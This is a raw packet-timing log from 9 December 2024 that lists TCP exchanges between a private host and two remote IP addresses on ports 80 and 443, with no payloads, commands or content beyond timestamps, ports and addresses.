Dec 9, 2024 23:09:34.929461956 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.929620028 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.929661989 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.930995941 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.931052923 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.931159019 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.931196928 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.932598114 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.932877064 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.932929993 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.934231043 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.934281111 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.934417009 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.934456110 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.935952902 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.935971022 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.936014891 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.937411070 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.937453032 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.937625885 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.937664986 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.938935041 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.939115047 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.939167976 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.940603971 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.940651894 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.940752983 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.940797091 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.942246914 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.942289114 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.942393064 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.942431927 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.943044901 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.943059921 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.943093061 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.943110943 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.944015980 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.944118977 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.944164038 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.945660114 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.945705891 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.945849895 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.945890903 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.947180986 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.947300911 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.947341919 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.948812962 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.948860884 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.948877096 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.948915005 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.950401068 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.950459957 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.950505018 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.951961994 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.952040911 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.952047110 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.952088118 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.953547001 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.953589916 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.953723907 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.953763962 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.955123901 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.955169916 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.955235004 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.955276966 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.022161961 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.022207975 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.022274017 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.022972107 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.023015022 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.023042917 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.023081064 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.024540901 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.024599075 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.024648905 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.024698019 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.026113987 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.026165962 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.040617943 CET	443	49842	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:35.040699959 CET	443	49842	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:35.040896893 CET	49842	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:35.065701008 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.065817118 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.065891027 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.066235065 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.066282988 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.066370010 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.066410065 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.067378998 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.067502975 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.067555904 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.068564892 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.068613052 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.068629026 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.068669081 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.069762945 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.069818974 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.069870949 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.069994926 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.070899963 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.070936918 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.070976973 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.071013927 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.072046995 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.072088003 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.072128057 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.072166920 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.073249102 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.073292017 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.073296070 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.073332071 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.074321032 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.074372053 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.074408054 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.074445963 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.075510979 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.075560093 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.075562000 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.075601101 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.076251984 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.076360941 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.076411963 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.077100039 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.077157974 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.077327967 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.077375889 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.078043938 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.078098059 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.078134060 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.078176022 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.078794956 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.078849077 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.078978062 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.079684019 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.079797029 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.079807997 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.079916000 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.080564022 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.080605984 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.080660105 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.080698013 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.081360102 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.081401110 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.081571102 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.081607103 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.082315922 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.082449913 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.082509995 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.083105087 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.083149910 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.083240032 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.083282948 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.084067106 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.084120035 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.084188938 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.084227085 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.085392952 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.085434914 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.085517883 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.085558891 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.085766077 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.085804939 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.085871935 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.085910082 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.087250948 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.087300062 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.087347984 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.087363958 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.087410927 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.087414026 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.087455034 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.088191032 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.088232994 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.088279009 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.089006901 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.089063883 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.089118958 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.089188099 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.089842081 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.089910030 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.089926958 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.089965105 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.090658903 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.090708971 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.090754986 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.090801001 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.091522932 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.091564894 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.091634989 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.092395067 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.092431068 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.092448950 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.092480898 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.093261957 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.093312025 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.093350887 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.093390942 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.094073057 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.094202042 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.094260931 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.094923973 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.094985008 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.095027924 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.095082998 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.095767975 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.095814943 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.095825911 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.095865011 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.096627951 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.096682072 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.096719980 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.096760988 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.097459078 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.097507954 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.097562075 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.097603083 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.098350048 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.098402023 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.098515987 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.098561049 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.099189997 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.099236012 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.099456072 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.099529028 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.100027084 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.100266933 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.100323915 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.100851059 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.100902081 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.100961924 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.101015091 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.101735115 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.101775885 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.101797104 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.101840019 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.102560043 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.102719069 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.102745056 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.102761984 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.103446007 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.103609085 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.103657007 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.104269981 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.104311943 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.104379892 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.104424000 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.105128050 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.105180025 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.105323076 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.105362892 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.105967999 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.106009007 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.106142998 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.106935024 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.106971025 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.107059956 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.107099056 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.107836962 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.107872963 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.107873917 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.107908010 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.108474970 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.108513117 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.108561039 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.108597994 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.109457970 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.109497070 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.109544992 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.109582901 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.184631109 CET	49842	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:35.184664965 CET	443	49842	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:35.214477062 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.214545012 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.214641094 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.214735985 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.214777946 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.214852095 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.214884043 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.214924097 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.215580940 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.215631008 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.215742111 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.215806007 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.216424942 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.216479063 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.257997990 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.258054972 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.258105993 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.258147001 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.258264065 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.258304119 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.258341074 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.258375883 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.259128094 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.259180069 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.259193897 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.259217978 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.259963036 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.260001898 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.260056019 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.260133982 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.260771036 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.260811090 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.260946035 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.260988951 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.261672974 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.261722088 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.261848927 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.261888981 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.262512922 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.262655020 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.262672901 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.262686968 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.263369083 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.263403893 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.263446093 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.263542891 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.264192104 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.264235020 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.264318943 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.264354944 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.265005112 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.265044928 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.265119076 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.265165091 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.265872955 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.265930891 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.265938044 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.265976906 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.266696930 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.266752005 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.266846895 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.266886950 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.267570019 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.267627001 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.267757893 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.267802000 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.268402100 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.268563032 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.268615007 CET	49838	80	192.168.2.4	185.215.113.16
